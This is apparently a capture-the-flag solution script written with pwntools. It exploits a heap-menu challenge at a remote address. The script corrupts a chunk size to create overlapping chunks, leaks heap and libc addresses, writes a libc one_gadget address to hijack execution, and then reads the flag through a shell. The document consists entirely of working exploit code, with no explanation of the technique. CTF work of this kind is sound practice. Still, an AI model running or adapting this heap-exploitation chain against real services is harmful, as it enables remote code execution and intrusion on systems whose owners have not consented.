### Pwn Your\_character

from pwn import \*

from itertools import \*

#p =process('./your\_character')

p = remote('59.110.164.72', 10027)

context(arch='amd64',log\_level = 'debug')

libc = ELF('./libc-2.23.so')

elf = ELF('./your\_character')

menu = b"Your choice :"

def add(size):

p.sendlineafter(menu, b'1')

p.sendlineafter(b"Damage of skill : ", str(size).encode())

p.sendafter(b"introduction of skill:", b'A')

def edit\_size(idx, size):

p.sendlineafter(menu, b'2')

p.sendlineafter(b"Index :", str(idx).encode())

p.sendlineafter(b"Damage of skill : ", str(size).encode())

def edit(idx,msg):

p.sendlineafter(menu, b'3')

p.sendlineafter(b"Index :", str(idx).encode())

p.sendafter(b"introduction of skill : ", msg)

def show(idx):

p.sendlineafter(menu, b'4')

p.sendlineafter(b"Index :", str(idx).encode())

def free(idx):

p.sendlineafter(menu, b'5')

p.sendlineafter(b"Index :", str(idx).encode())

p.sendlineafter(b"Your choice :", b'2')

p.sendlineafter(b"Please enter the background story of your character: \n",b'A')

p.sendlineafter(b"Your choice :", b'1') #in

for i in [0x80,0x18,0x18,0x18]:

add(i)

edit(1, b'A'\*0x18+ p8(0x61))

free(2)

add(0x58)

edit(2, b'A'\*0x8)

show(2)

p.recvuntil(b'A'\*0x8)

heap\_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370

print(f"{heap\_addr = :x}")

free(0)

edit(2, flat(0,0,0,0x21,0x800,heap\_addr+ 0x280)) #2 ptr-> unsort

show(2)

p.recvuntil(b"Introduction : ")

libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc.sym['\_\_malloc\_hook']

print(f"{libc.address = :x}")

edit(2, b'A'\*0xf0 + flat(0x800, heap\_addr+0x10) )

one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]

edit(2, p64(libc.address + one[0])\*2)

p.sendlineafter(menu, b'6')

p.sendlineafter(menu, b'4')

#gdb.attach(p)

#pause()

p.sendline(b'cat /flag\*')

p.interactive()